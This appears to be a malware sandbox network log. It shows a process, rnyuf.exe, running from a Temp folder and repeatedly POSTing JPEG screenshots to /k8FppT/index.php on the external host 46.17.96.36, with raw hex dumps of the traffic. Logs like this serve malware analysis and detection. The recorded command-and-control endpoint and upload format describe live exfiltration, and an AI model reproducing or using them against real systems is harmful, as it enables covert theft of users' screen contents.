Aug 29, 2021 22:27:26.209327936 CEST	5115	OUT	Data Raw: 1c a2 16 0a 36 95 e0 48 07 5a bf 79 7f a3 c5 e3 ab fd 76 2d 6e d2 e2 d6 f0 de 6d 48 a1 9c 48 9e 64 12 2a ee 0d 18 1c b3 01 c1 3d 7d 39 a7 ed ea 59 bb 7f 37 e1 b0 4a 85 3b d9 3e a6 24 1a 3c af 15 ec b7 57 16 f6 29 63 70 96 d7 26 e3 7f ee dd b7 e3 Data Ascii: 6HZyv-nmHHd=}9Y7J;>$<W)cp&V$,Wn\|/,76yqsd$v5U]r;eex+\kl)BD]:'h<7 I\KYhqOU2}.KqcMp4M*R6v6
Aug 29, 2021 22:27:26.320451975 CEST	5170	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	49773	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:26.571950912 CEST	5171	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----c5a841f4f1c49d0b014c71075a2e4e94 Host: 46.17.96.36 Content-Length: 109415 Cache-Control: no-cache
Aug 29, 2021 22:27:26.572102070 CEST	5171	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 63 35 61 38 34 31 66 34 66 31 63 34 39 64 30 62 30 31 34 63 37 31 30 37 35 61 32 65 34 65 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------c5a841f4f1c49d0b014c71075a2e4e94Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:26.572484970 CEST	5181	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:26.572746992 CEST	5184	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:26.604614019 CEST	5200	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:26.604990005 CEST	5204	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:27:26.605118990 CEST	5209	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:26.636812925 CEST	5220	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:26.640861988 CEST	5259	OUT	Data Raw: 1c a2 16 0a 36 95 e0 48 07 5a bf 79 7f a3 c5 e3 ab fd 76 2d 6e d2 e2 d6 f0 de 6d 48 a1 9c 48 9e 64 12 2a ee 0d 18 1c b3 01 c1 3d 7d 39 a7 ed ea 59 bb 7f 37 e1 b0 4a 85 3b d9 3e a6 24 1a 3c af 15 ec b7 57 16 f6 29 63 70 96 d7 26 e3 7f ee dd b7 e3 Data Ascii: 6HZyv-nmHHd=}9Y7J;>$<W)cp&V$,Wn\|/,76yqsd$v5U]r;eex+\kl)BD]:'h<7 I\KYhqOU2}.KqcMp4M*R6v6
Aug 29, 2021 22:27:26.671479940 CEST	5262	OUT	Data Raw: 46 ea ab 8a c4 b9 a3 35 1e ea 37 51 71 58 93 34 66 99 9a 33 45 c2 c3 c9 a4 cd 30 b5 26 ea 2e 1c a3 f3 41 6a 8f 70 a4 2d 4b 98 7c a3 c9 a6 93 4d 2d 48 5a a5 b2 ac 2e 69 09 a6 13 48 5a a6 e5 24 38 b5 34 b5 34 9a 69 35 2d 96 90 ec d3 49 a4 26 9a 4d Data Ascii: F57QqX4f3E0&.Ajp-K\|M-HZ.iHZ$844i5-I&MMHq4iSsHR%%MM74QpMIEXRi@>p4.h%!8qXRi0HyjBr)i\Z3M- 3ZWl?UZ}DLOqkml9H\|kj
Aug 29, 2021 22:27:26.671611071 CEST	5279	OUT	Data Raw: b0 fc d1 9a 8f 3c d2 e6 8b 85 87 e6 8c d3 37 52 66 95 c2 c3 f3 ef 46 7d ea 3c d1 9a 2e 3b 0f 26 93 26 9b 9a 6e 69 5c 76 1f 9a 42 69 a4 d1 9a 57 1d 85 cd 26 69 33 48 4d 21 d8 5a 4a 33 48 69 5c 76 02 69 09 a2 9b 52 31 73 ed 4b 9a 65 19 a2 e3 b0 ec Data Ascii: <7RfF}<.;&&ni\vBiW&i3HM!ZJ3Hi\viR1sKeM!j.i:SML4\vS3@4JJ@x&M4BilM+)(qRLLEV_!XCF_SSZ:((*H)K,w4NP=N
Aug 29, 2021 22:27:26.746438026 CEST	5280	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	49774	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:26.991599083 CEST	5281	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2e97d6ab67dd52d2b0448fb19f95ffa5 Host: 46.17.96.36 Content-Length: 109366 Cache-Control: no-cache
Aug 29, 2021 22:27:26.991736889 CEST	5281	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 65 39 37 64 36 61 62 36 37 64 64 35 32 64 32 62 30 34 34 38 66 62 31 39 66 39 35 66 66 61 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2e97d6ab67dd52d2b0448fb19f95ffa5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:26.991972923 CEST	5291	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:26.992168903 CEST	5294	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:27.035253048 CEST	5319	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:27.070874929 CEST	5322	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:27.070911884 CEST	5327	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:27.070974112 CEST	5335	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
Aug 29, 2021 22:27:27.071047068 CEST	5353	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
Aug 29, 2021 22:27:27.071295977 CEST	5369	OUT	Data Raw: 46 c3 f0 a8 ca b0 ec 69 a9 a8 dd a9 f9 67 7f c4 e7 f9 d4 c3 56 b8 23 12 2c 52 7d 53 fc 28 e6 9a e8 2e 42 3e 69 73 cd 4c 35 08 89 f9 ed 13 fe 02 d8 a7 0b 8b 17 3c c5 22 fd 39 a7 ce fa a2 79 08 33 4a 0d 58 c5 83 f4 9d 97 ea b5 22 da 40 e3 e4 bb 88 Data Ascii: FigV#,R}S(.B>isL5<"9y3JX"@[[\jQsmqV:;K!\85JCTZcv_^@ LTiy_#<lrqt~7SZPWbGAD(Idg:
Aug 29, 2021 22:27:27.107186079 CEST	5372	OUT	Data Raw: 46 ea ab 8a c4 b9 a3 35 1e ea 37 51 71 58 93 34 66 99 9a 33 45 c2 c3 c9 a4 cd 30 b5 26 ea 2e 1c a3 f3 41 6a 8f 70 a4 2d 4b 98 7c a3 c9 a6 93 4d 2d 48 5a a5 b2 ac 2e 69 09 a6 13 48 5a a6 e5 24 38 b5 34 b5 34 9a 69 35 2d 96 90 ec d3 49 a4 26 9a 4d Data Ascii: F57QqX4f3E0&.Ajp-K\|M-HZ.iHZ$844i5-I&MMHq4iSsHR%%MM74QpMIEXRi@>p4.h%!8qXRi0HyjBr)i\Z3M- 3ZWl?UZ}DLOqkml9H\|kj
Aug 29, 2021 22:27:27.181555033 CEST	5390	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	49775	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:27.401290894 CEST	5391	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0eca12f9569ffde04e01e318ef40cd43 Host: 46.17.96.36 Content-Length: 109213 Cache-Control: no-cache
Aug 29, 2021 22:27:27.401446104 CEST	5391	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 65 63 61 31 32 66 39 35 36 39 66 66 64 65 30 34 65 30 31 65 33 31 38 65 66 34 30 63 64 34 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0eca12f9569ffde04e01e318ef40cd43Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:27.401657104 CEST	5401	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:27.401751041 CEST	5404	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:27.436700106 CEST	5407	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:27.436750889 CEST	5409	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:27.436769009 CEST	5417	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:27.437058926 CEST	5424	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:27.437092066 CEST	5429	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:27.472263098 CEST	5435	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:27.472326040 CEST	5440	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:27.602448940 CEST	5501	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49739	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:09.745954037 CEST	1448	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----699541f833ca8faa1bd26fe17facb267 Host: 46.17.96.36 Content-Length: 107110 Cache-Control: no-cache
Aug 29, 2021 22:27:09.746045113 CEST	1448	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 39 39 35 34 31 66 38 33 33 63 61 38 66 61 61 31 62 64 32 36 66 65 31 37 66 61 63 62 32 36 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------699541f833ca8faa1bd26fe17facb267Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:09.746305943 CEST	1459	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:09.746454000 CEST	1461	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:09.779638052 CEST	1467	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:09.779907942 CEST	1480	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:09.779953957 CEST	1481	OUT	Data Raw: 1f c3 56 c5 cb 8f 7a 91 6e bd 68 f6 70 7d 43 da 54 46 69 86 41 fc 26 9a 55 87 50 45 6b 7d a5 0f 55 14 be 64 2d d5 45 3f 63 17 b3 0f 6c fa a3 23 14 95 ae 52 dd bb 51 f6 4b 73 d3 8a 9f 62 fa 31 fb 75 d5 19 34 56 a9 d3 e3 3d 1a a3 3a 61 ec c2 97 b1 Data Ascii: Vznhp}CTFiA&UPEk}Ud-E?cl#RQKsb1u4V=:a{hx4e0KIt)TUijco"2;\KFKJp1J2n%-4!ih%8RSP(.($ZpSi,ZQIJ--%8SD;H.(&LShG.(>P!FmsG(s
Aug 29, 2021 22:27:09.780002117 CEST	1487	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:09.812649965 CEST	1490	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:09.812701941 CEST	1500	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
